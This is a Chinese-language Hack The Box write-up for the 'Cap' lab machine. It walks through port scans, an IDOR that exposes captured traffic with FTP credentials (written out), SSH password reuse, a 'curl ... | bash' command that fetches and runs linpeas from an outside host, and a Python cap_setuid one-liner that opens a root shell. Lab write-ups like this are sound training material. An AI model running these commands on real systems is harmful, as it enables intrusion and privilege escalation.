cap靶机——Hack The Box

端口扫描
sudo nmap -p- 10.129.212.157 -vv

全端口扫描发现开启了 3 个端口,21,22,80 端口
版本探测
sudo nmap -p21,22,80 -A 10.129.212.157 -v

发现目标靶机是个 ubuntu 系统,FTP 版本是 3.0.3,Web 服务是 Gunicorn ,一个 python 的 Web 服务。

漏洞搜索
searchsploit vsftpd 3.0.3

拒绝服务漏洞对我们突破边界没有用
查看 Web 服务

点击下载文件

发现是我的流量

将这个 ID 修改为 0 ,发现可以获取其他用户的流量

追踪 TCP 流,发现了 FTP 的账号和密码

nathan
Buck3tH4TF0RM3!

密码复用
用这个账号密码尝试登录 SSH 服务
ssh nathan@10.129.212.157
获得 user.txt

Linux 提权
linpeas
curl http://10.10.16.41/linpeas.sh | bash


大概率可以用 pkexec 提权


但是我们看看还有没有其他的方法
capabilities 提权

getcap -r / 2>/dev/null
从根目录开始,地毯式扫描整个系统中所有带有特殊权限(Capabilities)的程序

简单来说,这能成功提权是因为系统的管理员给 Python 赋予了一个“超级特权”——任意更改用户身份的能力(cap_setuid)。Python 拿着这个特权,大摇大摆地把自己的身份切换成了 root(最高管理员 UID 0),然后顺手开了一个带有 root 权限的命令行终端给你。
下面为你分条拆解这个非常经典的提权手法:
- Linux Capabilities 是什么? 在以前的 Linux 里,权限非黑即白:你要么是普通用户,要么是无所不能的 root。这就好比你要么是个平民,要么直接当皇上,风险太大了。为了安全,Linux 搞出了 Capabilities(能力机制),把 root 的权限切成了很多小块。这样管理员就可以只给程序某一项具体的超级权限,而不是给全部。
- 图片里的致命破绽(
cap_setuid): 截图里显示/usr/bin/python3.8拥有cap_setuid+eip。这里的cap_setuid就是那个被切出来的小块权限,它相当于给了 Python 一张**“任意易容面具”**,允许它在运行过程中随意更改自己的 UID(用户 ID),包括改成 0(也就是 root 专属的 ID)。

获得 root.txt

- 一行代码的“造反”原理: 现在我们来看你写的这行一行命令:
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
import os;:常规操作,叫出 Python 负责与操作系统交互的核心模块。对于正在学 Python 的你来说,这个模块以后在写脚本时会天天见。os.setuid(0);:这是最核心的一步!此时 Python 对系统内核喊了一声:“喂,我现在要把我的 ID 变成 0 (root)!” 如果是普通的 Python,内核会直接给它一个Permission denied。但因为这个 Python 带着cap_setuid徽章,内核一看是 VIP,乖乖放行了。此时,这个 Python 进程已经在系统眼里变成了 root。os.system("/bin/sh"):已经是 root 身份的 Python 帮你运行了一个全新的 Shell(/bin/sh)。在 Linux 中,子进程会继承父进程的权限。既然“老爸”(Python 进程)已经是 root 了,“儿子”(Shell 进程)自然也是 root。至此,提权大功告成!

浙公网安备 33010602011771号